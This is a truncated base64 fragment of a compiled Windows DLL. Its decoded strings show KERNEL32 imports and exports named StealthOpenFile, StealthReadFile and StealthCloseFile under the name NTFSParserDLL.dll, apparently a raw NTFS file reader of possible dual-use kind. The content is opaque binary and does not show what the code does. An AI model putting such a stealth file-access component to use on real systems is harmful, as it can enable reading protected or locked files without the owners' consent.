AAAAAABAAAAAAAAAAAAAAAowAEA8IkBAKCMAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAaMwBAPCMAQDIjAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAiNAQAAAAAAAAAAACCNAQDIiQEAAAAAAAAAAAAAAAAAAAAAAGjMAQABAAAAAAAAAP////8AAAAAQAAAAPCMAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAACIjgEAAAAAAAAAAAAY1AEAAAAAAAAAAAD/////AAAAAEAAAABIjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAoI0BAAAAAAAAAAAAmI4BAOiNAQBgjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABI1AEAGI8BAMCNAQAAAAAAAAAAAAAAAAAAAAAASNQBAAEAAAAAAAAA/////wAAAABAAAAAGI8BAAAAAAAAAAAAAAAAAKjTAQACAAAAAAAAAP////8AAAAAQAAAAMCOAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAY1AEASI0BADiOAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAqNMBAMCOAQBgjgEAAAAAAAAAAAAAAAAAAAAAAGCNAQAAAAAAAAAAAAAAAADg0wEAAgAAAAAAAAD/////AAAAAEAAAACIjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAMI8BAAAAAAAAAAAAAQAAAAAAAAAAAAAA4NMBAIiNAQDYjgEAAAAAAAAAAAAAAAAAAAAAAOiNAQBgjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAACPAQAAAAAAAAAAABCOAQDojQEAYI0BAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJEBAGiUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAADokQEAQJQBAKiVAQAAAAAAAAAAAAAAAAAAAAAAAAAAABCSAQBolAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAOJIBAECUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAABgkgEAaJQBAKiVAQAAAAAAAAAAAAAAAAAAAAAAAAAAAIiSAQBAlAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAsJIBAAAAAAAAAAAAAAAAANiSAQBAlAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJMBAGiUAQColQEAAJMBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFCTAQCQlAEAAAAAAAAAAAAAAAAAAAAAAHiTAQBolAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAoJMBAGiUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAADwkwEAaJQBAKiVAQDIkwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGJQBAGiUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAABAlAEAqJUBAAAAAAAAAAAAAAAAAAAAAABolAEAqJUBAAAAAAAAAAAAAAAAAAAAAACQlAEAAAAAAAAAAAAAAAAAuJQBAAAAAAAAAAAAAAAAAOCUAQAAAAAAAAAAAAAAAAAIlQEAAAAAAAAAAAAAAAAAMJUBAAAAAAAAAAAAAAAAAFiVAQCAlQEAAAAAAAAAAAAAAAAAAAAAAICVAQAAAAAAAAAAAAAAAAColQEAAAAAAAAAAAAAAAAAgNQBAAIAAAAAAAAA/////wAAAABAAAAA0JUBAAAAAAAAAAAAAAAAALjUAQACAAAAAAAAAP////8AAAAAQAAAAOiVAQAAAAAAAAAAAAAAAAD41AEAAgAAAAAAAAD/////AAAAAEAAAAAAlgEAAAAAAAAAAAAAAAAAMNUBAAIAAAAAAAAA/////wAAAABAAAAAGJYBAAAAAAAAAAAAAAAAAGjVAQACAAAAAAAAAP////8AAAAAQAAAADCWAQAAAAAAAAAAAAAAAACg1QEAAgAAAAAAAAD/////AAAAAEAAAABIlgEAAAAAAAAAAAAAAAAA4NUBAAAAAAAAAAAA/////wAAAABAAAAAYJYBAAAAAAAAAAAAAAAAABDWAQACAAAAAAAAAP////8AAAAAQAAAAHiWAQAAAAAAAAAAAAAAAAB41wEAAAAAAEgAAAD/////AAAAAEAAAABQlwEAAAAAAAAAAAAAAAAAONYBAAMAAAAAAAAA/////wAAAABAAAAAkJYBAAAAAAAAAAAAAAAAAGDWAQABAAAAAAAAAP////8AAAAAQAAAAKiWAQAAAAAAAAAAAAAAAACI1gEAAgAAAAAAAAD/////AAAAAEAAAADAlgEAAAAAAAAAAAAAAAAAsNYBAAIAAAAAAAAA/////wAAAABAAAAA2JYBAAAAAAAAAAAAAAAAAGDYAQAAAAAASAAAAP////8AAAAAQAAAAMiXAQAAAAAAAAAAAAAAAADY1gEAAwAAAAAAAAD/////AAAAAEAAAADwlgEAAAAAAAAAAAAAAAAAANcBAAIAAAAAAAAA/////wAAAABAAAAACJcBAAAAAAAAAAAAAAAAACjXAQABAAAAAAAAAP////8AAAAAQAAAACCXAQAAAAAAAAAAAAAAAABQ1wEAAQAAAAAAAAD/////AAAAAEAAAAA4lwEAAAAAAAAAAAAAAAAAeNcBAAAAAAAAAAAA/////wAAAABAAAAAUJcBAAAAAAAAAAAAAAAAAKjXAQAAAAAAAAAAAP////8AAAAAQAAAAGiXAQAAAAAAAAAAAAAAAADg1wEAAAAAAAAAAAD/////AAAAAEAAAACAlwEAAAAAAAAAAAAAAAAAENgBAAAAAAAAAAAA/////wAAAABAAAAAmJcBAAAAAAAAAAAAAAAAADjYAQAAAAAAAAAAAP////8AAAAAQAAAALCXAQAAAAAAAAAAAAAAAACA2AEAAQAAAAAAAAD/////AAAAAEAAAADglwEAAAAAAAAAAAAAAAAAYNgBAAAAAAAAAAAA/////wAAAABAAAAAyJcBAAAAAAAAAAAAAAAAAKjYAQAAAAAAAAAAAP////8AAAAAQAAAAPiXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAABQjwEAAAAAAAAAAAAAAAAAAAAAAAMAAABwjwEAAAAAAAAAAAAAAAAAAAAAAAMAAACQjwEAAAAAAAAAAAAAAAAAAAAAAAMAAACwjwEAAAAAAAAAAAAAAAAAAAAAAAMAAADQjwEAAAAAAAAAAAAAAAAAAAAAAAMAAADwjwEAAAAAAAAAAAAAAAAAAAAAAAEAAAAQkAEAAAAAAAAAAAAAAAAAAAAAAAMAAAAgkAEAAAAAAAAAAAAAAAAAAQAAAAQAAABAkAEAAAAAAAAAAAAAAAAAAAAAAAIAAABokAEAAAAAAAAAAAAAAAAAAAAAAAMAAACAkAEAAAAAAAAAAAAAAAAAAAAAAAMAAACgkAEAAAAAAAAAAAAAAAAAAQAAAAQAAADAkAEAAAAAAAAAAAAAAAAAAAAAAAMAAADokAEAAAAAAAAAAAAAAAAAAAAAAAIAAAAIkQEAAAAAAAAAAAAAAAAAAAAAAAIAAAAgkQEAAAAAAAAAAAAAAAAAAAAAAAEAAAA4kQEAAAAAAAAAAAAAAAAAAAAAAAEAAABIkQEAAAAAAAAAAAAAAAAAAAAAAAEAAABYkQEAAAAAAAAAAAAAAAAAAAAAAAEAAABokQEAAAAAAAAAAAAAAAAAAAAAAAEAAAB4kQEAAAAAAAAAAAAAAAAAAAAAAAEAAACgkQEAAAAAAAAAAAAAAAAAAAAAAAIAAACIkQEAAAAAAAAAAAAAAAAAAAAAAAEAAACwkQEAAAAAAAAAAAABAAAAAAAAAAAAAACA1AEA0JUBABCYAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAuNQBAOiVAQA4mAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAPjUAQAAlgEAYJgBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAw1QEAGJYBAIiYAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAaNUBADCWAQCwmAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAKDVAQBIlgEA2JgBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADg1QEAYJYBAACZAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAENYBAHiWAQAomQEAAAAAAAAAAAAAAAAAAAAAAAEAAABIAAAAAAAAADjWAQCQlgEAUJkBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAA41gEAkJYBAHiZAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAYNYBAKiWAQCgmQEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAIjWAQDAlgEAyJkBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACw1gEA2JYBAPCZAQAAAAAAAAAAAAAAAAAAAAAAAQAAAEgAAAAAAAAA2NYBAPCWAQAYmgEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAANjWAQDwlgEAQJoBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABg2AEAyJcBAGiaAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAANcBAAiXAQCQmgEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAACjXAQAglwEAuJoBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABQ1wEAOJcBAOCaAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAeNcBAFCXAQAImwEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAKjXAQBolwEAMJsBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADg1wEAgJcBAFibAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAENgBAJiXAQCAmwEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAADjYAQCwlwEAqJsBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACA2AEA4JcBANCbAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAqNgBAPiXAQD4mwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQoEAAo0BgAKMgZwAQQBAASCAAAAAAAAAQAAAAAAAAABAAAAAQQBAARCAAARGQoAGXQKABlkCQAZNAgAGTIV8BPgEcDEeQAAAQAAAKpcAABwXQAAkP4AAAAAAAABBgIABjICMAEFAgAFdAEAARIEABI0DQASkgtQAQgBAAhCAAARHAgAHGQNABw0DAAcUhjwFuAUcMR5AAABAAAAdWIAAJhiAACk/gAAAAAAABEYBQAYYhTgEnARYBAwAADEeQAAAQAAAN9iAAD/YgAA0P4AAAAAAAAJFwYAFzQNABdyE+ARcBBgxHkAAAEAAAAvYwAASGMAAPz+AABIYwAAAQYCAAZyAjABFQUAFaIOcA1gDDALUAAAAAAAAAEAAAARCgIACjIGMMR5AAABAAAA5WUAAAxmAAA9/wAAAAAAAAkaBgAaNBEAGpIW4BRwE2DEeQAAAQAAABlnAADlZwAAY/8AAOlnAAAAAAAAAQAAAAENBAANNA8ADbIGUAESCAASVAkAEjQIABIyDuAMcAtgGTMLACJ0vQAiZLwAIjS7ACIBtgAU8BLgEFAAAOzJAACgBQAACRgCABiyFDDEeQAAAQAAAO9sAAAPbQAArP8AAA9tAAABBgIABnICUAEdDAAddAsAHWQKAB1UCQAdNAgAHTIZ8BfgFcABFgoAFlQMABY0CwAWMhLwEOAOwAxwC2ABDwYAD2QMAA80CwAPcgtwARQIABRkDAAUVAsAFDQKABRyEHABFAYAFGQHABQ0BgAUMhBwAQYCAAYSAjABDwQADzQGAA8yC3ARHAoAHGQPABw0DgAcchjwFuAU0BLAEHDEeQAAAQAAAJ92AACzdwAA8v8AAAAAAAABHAwAHGQQABxUDwAcNA4AHHIY8BbgFNASwBBwGS0LABtkUQAbVFAAGzRPABsBSgAU8BLgEHAAAOzJAABAAgAAAAAAAAEAAAARBgIABlICMMR5AAABAAAA3H8AACSAAAAWAAEAAAAAABEGAgAGMgIwxHkAAAEAAAAvhAAARYQAAHoAAQAAAAAAEQoEAAo0BwAKMgZwxHkAAAEAAAAmiAAAfYgAAC8AAQAAAAAAERkKABnkCwAZdAoAGWQJABk0CAAZUhXwxHkAAAEAAAD3iQAArooAAC8AAQAAAAAAGSUKABZUEQAWNBAAFnIS8BDgDsAMcAtg7MkAADgAAAABFAgAFGQIABRUBwAUNAYAFDIQcBkrBwAadLQAGjSzABoBsAALUAAA7MkAAHAFAAABCgIACjIGMAEPBgAPZAkADzQIAA9SC3AREwQAEzQHABMyD3DEeQAAAgAAAASPAAAxjwAASAABAAAAAABDjwAAeo8AAGEAAQAAAAAAEQoEAAo0BgAKMgZwxHkAAAIAAADjkAAA7ZAAAEgAAQAAAAAAApEAACmRAABhAAEAAAAAAAEKBAAKNA0ACnIGcAEIBAAIcgRwA2ACMAkEAQAEQgAAxHkAAAEAAACFlwAAiZcAAAEAAACJlwAACQQBAARCAADEeQAAAQAAAGaXAABqlwAAAQAAAGqXAAABEAYAEGQRABCyCeAHcAZQEQYCAAYyAnDEeQAAAQAAAK2YAADDmAAAegABAAAAAAABBAEABGIAABkvCQAedLsAHmS6AB40uQAeAbYAEFAAAOzJAACgBQAAARQIABRkCgAUVAkAFDQIABRSEHABFwgAF2QJABdUCAAXNAcAFzITcBkwCwAfNGYAHwFcABDwDuAM0ArACHAHYAZQAADsyQAA2AIAAAEYCAAYZAgAGFQHABg0BgAYMhRwARgKABhkCgAYVAkAGDQIABgyFPAS4BBwAQAAABEgDQAgxB8AIHQeACBkHQAgNBwAIAEYABnwF+AV0AAAxHkAAAIAAACoqwAA26sAAJMAAQAAAAAA5KsAAHauAACTAAEAAAAAAAEPBgAPZAsADzQKAA9SC3ABDQQADTQJAA0yBlABGQoAGXQNABlkDAAZVAsAGTQKABlyFeAZEwkAEwESAAzwCuAI0AbABHADYAIwAADEeQAAAgAAAG7CAACTwgAArgABAJPCAABuwgAADsMAAKIBAQAAAAAAAQcDAAdCA1ACMAAAGSIIACJSHvAc4BrQGMAWcBVgFDDEeQAAAgAAAG/EAAAGxQAAOAIBAAbFAAA3xAAALcUAAE4CAQAAAAAAAQYCAAYyAlABIQsAITQfACEBFgAV8BPgEdAPwA1wDGALUAAAARcKABdUEgAXNBAAF5IT8BHgD8ANcAxgCRUIABV0CAAVZAcAFTQGABUyEeDEeQAAAQAAAAS/AABuvwAAAQAAAG6/AAABGQoAGXQJABlkCAAZVAcAGTQGABkyFeABGQoAGTQXABnSFfAT4BHQD8ANcAxgC1AJDQEADUIAAMR5AAABAAAAUbUAAGK1AAAgAgEAZLUAAAEcDAAcZAwAHFQLABw0CgAcMhjwFuAU0BLAEHABGAoAGGQOABhUDQAYNAwAGHIU4BLAEHAJGQoAGXQMABlkCwAZNAoAGVIV8BPgEdDEeQAAAQAAABzAAABjwQAAAQAAAGfBAAAREAYAEHQHABA0BgAQMgzgxHkAAAEAAAAazAAAO8wAAHcCAQAAAAAACQoEAAo0BgAKMgZwxHkAAAEAAAA9zQAAcM0AAKACAQBwzQAAEREIABE0DgARUg3wC+AJwAdwBmDEeQAAAQAAAFbPAADdzwAAwAIBAAAAAAAAAAAAAQcCAAcBmwABAAAAAQAAAAEAAAAZHggAD5IL8AngB8AFcARgA1ACMOzJAABIAAAAARAGABBkDQAQNAwAEJIMcAEOAgAOMgowAQ8GAA9kEQAPNBAAD9ILcBktDUUfdBIAG2QRABc0EAATQw6SCvAI4AbQBMACUAAA7MkAAEgAAAABDwYAD2QPAA80DgAPsgtwGS0NNR90EAAbZA8AFzQOABMzDnIK8AjgBtAEwAJQAADsyQAAMAAAAAEAAAARFQgAFTQLABUyEfAP4A3AC3AKYMR5AAABAAAAkecAAMPnAADeAgEAAAAAABk2CwAlNHEDJQFmAxDwDuAM0ArACHAHYAZQAADsyQAAIBsAABEVCAAVNAsAFTIR8A/gDcALcApgxHkAAAEAAACt7wAA4e8AAN4CAQAAAAAAARUGABVkEAAVNA4AFbIRcAEEAQAEQgAAERkKABl0DAAZZAsAGTQKABlSFfAT4BHQxHkAAAIAAAD09AAAOPUAAPUCAQAAAAAAwfQAAFH1AAAdAwEAAAAAAAEEAQAEEgAAEQ8GAA9kCQAPNAgAD1ILcMR5AAABAAAA+vUAAGz2AAA2AwEAAAAAAAEQBgAQdAcAEDQGABAyDOARFQgAFXQIABVkBwAVNAYAFTIR8MR5AAABAAAAy/YAAOj2AABPAwEAAAAAAAEZCgAZdA8AGWQOABlUDQAZNAwAGZIV4AEJAQAJYgAAEREGABE0CgARMg3gC3AKYMR5AAABAAAAi/oAAM/6AACAAwEAAAAAABEPBAAPNAcADzILcMR5AAABAAAAv/sAAMn7AABoAwEAAAAAABERBgARNAoAETIN4AtwCmDEeQAAAQAAAKf8AADL/AAAgAMBAAAAAAAZIQUAGGIU4BJwEWAQMAAA1G8AAOCFAQD/////AAAAAP////8AAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAwAAAAEAAAAopwEAAgAAAAIAAAADAAAAAQAAADynAQBAAAAAAAAAAAAAAACgAwEAOAAAAEAAAAAAAAAAAAAAAOMDAQBIAAAAkBUAAP/////+FQAAAAAAACMWAAD/////oAMBAAAAAACtAwEAAQAAALUDAQACAAAA1QMBAAAAAADxAwEAAwAAABkKAgAKMgZQ1G8AAOCFAQAZCwMAC0IHUAYwAADUbwAA4IUBAAEPBgAPZAcADzQGAA8yC3ABCgQACjQIAApSBnABBgIABlICMBEYBAAYNAkAClIGcNRvAAAIhgEA4FIAAP////9cUwAAAAAAAMVTAAD/////ERMCAApyBjDUbwAAMIYBAP////+QBAEAIFIAAP////88UgAAAAAAAMxSAAD/////ERMCAApSBjDUbwAAWIYBAP////+gBAEAgFEAAP////+gUQAAAAAAAAVSAAD/////GTAKACE0FQAQsgzwCuAI0AbABHADYAJQAP4AAICGAQBaAAAA/////2AEAQAAAAAAbAQBAAEAAAB8BAEAkE4AAP////8sTwAAAAAAAFRPAAABAAAA9U8AAAIAAAAOUAAAAQAAAFJRAAD/////ERMCAApSBjDUbwAAqIYBAP////8ABgEA8E0AAP////8QTgAAAAAAAIJOAAD/////GTMKACQ0GQAT8gzwCuAI0AbABHADYAJQAP4AANCGAQByAAAA/////zAEAQAAAAAAPAQBAAEAAABMBAEAAEsAAP////9ESwAAAAAAAHVLAAABAAAAEUwAAAIAAAAqTAAAAQAAAMFNAAD/////AQ0EAA1SCeAHYAZQIQoEAAp0DAAFNAsA8EQAABhFAABsqQEAIQAEAAB0DAAANAsA8EQAABhFAABsqQEAIQAAAPBEAAAYRQAAbKkBABkjBwAVARIACeAH0AXAAzACUAAA7MkAAIAAAAAhGwYAG/QbABN0GgAIZBkAwD8AAGZAAAC4qQEAIQAGAAD0GwAAdBoAAGQZAMA/AABmQAAAuKkBACEAAADAPwAAZkAAALipAQAZHwUADTRQAA0BTAAGcAAA7MkAAFgCAAAZOQkAKDR4ABcBcAAI8AbgBHADYAJQAAAA/gAA+IYBAHIDAAD/////IAUBAP////8sBQEA/////10FAQD/////jgUBAAAAAAC/BQEA/////8sFAQDAOQAA/////5s6AAAAAAAAszoAAP////+4OgAAAQAAACk7AAD/////LjsAAAAAAABZOwAA/////147AAACAAAAyTsAAP/////OOwAAAAAAAPI7AAD/////9zsAAAMAAABpPAAA/////248AAAAAAAAhDwAAAQAAACZPAAAAAAAABQ9AAD/////GT0AAAUAAACJPQAA/////wENBgANVAkADTIJ4AdwBmAhBQIABTQIAKA4AADjOAAAIKsBACEAAgAANAgAoDgAAOM4AAAgqwEAIQAAAKA4AADjOAAAIKsBABEiBgAiNBMAFtIScBFgEFDUbwAAIIcBAP////8QBwEA4DUAAP////9WNgAAAAAAAFg3AAD/////ARQGABRkCAAUNAYAFDIQcAEKBAAKZAkACjIGcCEFAgAFNAYA4DIAAAAzAACwqwEAIQACAAA0BgDgMgAAADMAALCrAQAhAAAA4DIAAAAzAACwqwEAER4IAB50CwAZZAoAFDQIAAZSAuDUbwAASIcBAP////9QBgEA/////1wGAQD/////aAYBAP////90BgEA/////4AGAQD/////jAYBAP////+YBgEA/////6QGAQD/////sAYBAP////+8BgEAgC0AAP/////OLQAAAAAAANEtAAD/////bC4AAAAAAACGLgAA/////5ouAAABAAAAtC4AAP/////ILgAAAgAAAOIuAAD/////9i4AAAMAAAAQLwAA/////7MvAAAEAAAA1C8AAP////9qMAAABQAAAIQwAAD/////mzAAAAYAAADlMAAA/////wIxAAAHAAAAHDEAAP////8wMQAACAAAAEoxAAD/////azEAAAkAAACFMQAA/////xQyAAAAAAAAERMCAApSBjDUbwAAcIcBAP////8QBgEAkCwAAP////+wLAAAAAAAAMQsAAD/////ERgEABg0CQAKUgZw1G8AAJiHAQAQLAAA/////zcsAAAAAAAASywAAP////8RHwoAH1QRABs0EAAPcgvwCeAHwAVwBGDUbwAAwIcBAP/////QBgEAAAAAANwGAQDQKQAA/////+IqAAAAAAAA8yoAAAEAAAAWKwAAAAAAABsrAAD/////ESIKACJkDQAdVAwAGDQLAApSBvAE4AJw1G8AAOiHAQD/////8AYBAAAAAAD8BgEAgCgAAP/////iKAAAAAAAAPMoAAABAAAAFikAAAAAAAAbKQAA/////xETAgAKUgYw1G8AABCIAQDgJwAA/////wAoAAAAAAAAZSgAAP////8REwIAClIGMNRvAAA4iAEA//////AEAQAAAAAA/AQBAPAmAAD/////ZycAAAAAAAB4JwAAAQAAAKMnAAD/////ATQGADQ0BgAKZAcACjIGcBETAgAKkgYw1G8AAGCIAQD/////EAUBAEAjAAD/////tyMAAAAAAABHJAAA/////xETAgAKUgYw1G8AAIiIAQD/////0AQBAAAAAADcBAEAICIAAP////+XIgAAAAAAAKkiAAABAAAAyyIAAP////8ZHwUADTRMAA0BSgAGcAAA7MkAAEACAAAZJwkAFVRPABU0TAAVAUgADuAMcAtgAADsyQAAMAIAABlKCQBKNEsAEmRNABJUTAASAUgAC3AAAOzJAAAwAgAAAYANAIB0DQB1NAwAYtQGAF3EDgALYgfwBeADYAJQAAABEwgAE2QKABNUCQATMg/wDeALcCEFAgAFNAgAcBsAAOAbAACMrwEAIQAAAHAbAADgGwAAjK8BAAEPBgAPZAsADzQKAA9yC3ABHAwAHGQNABxUDAAcNAsAHDIY8BbgFNASwBBwERMCAApSBjDUbwAAsIgBAP////+wBAEAAAAAALwEAQBQFwAA/////6sXAAAAAAAA0RcAAAEAAADsFwAA/////wAAAADYVQAAAAAAAFCwAQAAAAAAAAAAAAAAAAAAAAAAAgAAAGiwAQCQsAEAAAAAAAAAAAAAAAAAAAAAAADAAQAAAAAA/////wAAAAAYAAAASFUAAAAAAAAAAAAAAAAAAAAAAAAowAEAAAAAAP////8AAAAAGAAAAKhwAAAAAAAAAAAAAAAAAAAAAAAAUMABAAAAAAD/////AAAAABgAAACQVQAAAAAAAAAAAAAAAAAAAAAAAOhVAAAAAAAAALEBAAAAAAAAAAAAAAAAAAAAAAADAAAAILEBALiwAQCQsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAB4wAEAAAAAAP////8AAAAAGAAAAGxVAAAAAAAAAAAAAAAAAAAAAAAA6FUAAAAAAABosQEAAAAAAAAAAAAAAAAAAAAAAAMAAACIsQEAuLABAJCwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAKDAAQAAAAAA/////wAAAAAYAAAAtFUAAAAAAAAAAAAAAAAAAAAAAACstQAAAAAAANCxAQAAAAAAAAAAAAAAAAAAAAAAAgAAAOixAQCQsAEAAAAAAAAAAAAAAAAAAAAAAGjMAQAAAAAA/////wAAAAAYAAAAiLUAAAAAAAAAAAAAOLIBAAAAAAAAAAAA3rQBAAAQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABotAEAAAAAAH60AQAAAAAAkLQBAAAAAACgtAEAAAAAAKy0AQAAAAAAwrQBAAAAAADQtAEAAAAAAOy0AQAAAAAA/LQBAAAAAAAMtQEAAAAAACC1AQAAAAAAPLUBAAAAAABOtQEAAAAAAGS1AQAAAAAAeLUBAAAAAACKtQEAAAAAAKS1AQAAAAAAsrUBAAAAAADAtQEAAAAAANa1AQAAAAAA6LUBAAAAAAD0tQEAAAAAAPy1AQAAAAAADLYBAAAAAAAYtgEAAAAAAC62AQAAAAAAOrYBAAAAAABGtgEAAAAAAFi2AQAAAAAAYrYBAAAAAAButgEAAAAAAHq2AQAAAAAAjLYBAAAAAACctgEAAAAAALC2AQAAAAAAxLYBAAAAAADgtgEAAAAAAP62AQAAAAAAJrcBAAAAAAA6twEAAAAAAE63AQAAAAAAWrcBAAAAAABotwEAAAAAAHa3AQAAAAAAgLcBAAAAAACStwEAAAAAAKa3AQAAAAAAuLcBAAAAAADGtwEAAAAAAN63AQAAAAAA9LcBAAAAAAAOuAEAAAAAACS4AQAAAAAAPrgBAAAAAABYuAEAAAAAAHK4AQAAAAAAirgBAAAAAACiuAEAAAAAALS4AQAAAAAAwrgBAAAAAADYuAEAAAAAAOi4AQAAAAAA+LgBAAAAAAAIuQEAAAAAABq5AQAAAAAALrkBAAAAAAA+uQEAAAAAAE65AQAAAAAAYrkBAAAAAAAAAAAAAAAAACAFV2lkZUNoYXJUb011bHRpQnl0ZQB0BFNldEZpbGVQb2ludGVyAAAIAkdldExhc3RFcnJvcgAAwwNSZWFkRmlsZQAAaQNNdWx0aUJ5dGVUb1dpZGVDaGFyAFIAQ2xvc2VIYW5kbGUAiABDcmVhdGVGaWxlQQBLRVJORUwzMi5kbGwAAO4ARW5jb2RlUG9pbnRlcgDLAERlY29kZVBvaW50ZXIAAgNJc0RlYnVnZ2VyUHJlc2VudAAGA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAjAFHZXRDb21tYW5kTGluZUEAywFHZXRDdXJyZW50VGhyZWFkSWQAACEEUnRsUGNUb0ZpbGVIZWFkZXIAtANSYWlzZUV4Y2VwdGlvbgAAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAlBFJ0bFVud2luZEV4AB8BRXhpdFByb2Nlc3MAHQJHZXRNb2R1bGVIYW5kbGVFeFcAAEwCR2V0UHJvY0FkZHJlc3MAANwCSGVhcFNpemUAAMAEU2xlZXAAawJHZXRTdGRIYW5kbGUAADQFV3JpdGVGaWxlABoCR2V0TW9kdWxlRmlsZU5hbWVXAADXAkhlYXBGcmVlAADTAkhlYXBBbGxvYwAMA0lzVmFsaWRDb2RlUGFnZQBuAUdldEFDUAAAPgJHZXRPRU1DUAAAeAFHZXRDUEluZm8AcAJHZXRTdHJpbmdUeXBlVwAAgARTZXRMYXN0RXJyb3IAABgEUnRsQ2FwdHVyZUNvbnRleHQAJgRSdGxWaXJ0dWFsVW53aW5kAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AMYBR2V0Q3VycmVudFByb2Nlc3MAzgRUZXJtaW5hdGVQcm9jZXNzAADTBFRsc0FsbG9jAADVBFRsc0dldFZhbHVlANYEVGxzU2V0VmFsdWUA1ARUbHNGcmVlAGoCR2V0U3RhcnR1cEluZm9XAB4CR2V0TW9kdWxlSGFuZGxlVwAAUQJHZXRQcm9jZXNzSGVhcAAA+gFHZXRGaWxlVHlwZQDSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgAZAkdldE1vZHVsZUZpbGVOYW1lQQAAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAgAJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQDhAUdldEVudmlyb25tZW50U3RyaW5nc1cAAGcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAQANMb2FkTGlicmFyeUV4VwAA2gJIZWFwUmVBbGxvYwCMA091dHB1dERlYnVnU3RyaW5nVwAAQQNMb2FkTGlicmFyeVcAAC8DTENNYXBTdHJpbmdXAACgAUdldENvbnNvbGVDUAAAsgFHZXRDb25zb2xlTW9kZQAAdQRTZXRGaWxlUG9pbnRlckV4AACUBFNldFN0ZEhhbmRsZQAAMwVXcml0ZUNvbnNvbGVXAF0BRmx1c2hGaWxlQnVmZmVycwAAjwBDcmVhdGVGaWxlVwAAAAAAgY0mUgAAAAC2uQEAAQAAAAMAAAADAAAAmLkBAKS5AQCwuQEAwEUAAMA/AADwRAAAyLkBANm5AQDpuQEAAAABAAIATlRGU1BhcnNlckRMTC5kbGwAU3RlYWx0aENsb3NlRmlsZQBTdGVhbHRoT3BlbkZpbGUAU3RlYWx0aFJlYWRGaWxlAAAAAAAAAABIJwGAAQAAAAAAAAAAAAAALj9BVmJhZF9hbGxvY0BzdGRAQAAAAAAASCcBgAEAAAAAAAAAAAAAAC4/QVZleGNlcHRpb25Ac3RkQEAAAAAAAEgnAYABAAAAAAAAAAAAAAAuP0FWbG9naWNfZXJyb3JAc3RkQEAAAABIJwGAAQAAAAAAAAAAAAAALj9BVmxlbmd0aF9lcnJvckBzdGRAQAAASCcBgAEAAAAAAAAAAAAAAC4/QVZvdXRfb2ZfcmFuZ2VAc3RkQEAAAAAAAAAAAAAASCcBgAEAAAAAAAAAAAAAAC4/QVZ0eXBlX2luZm9AQAAyot8tmSsAAM1dINJm1P//AQAAAAIAAAACAAAAAAAAAAECBAgAAAAAAAAAAAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAAAAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaP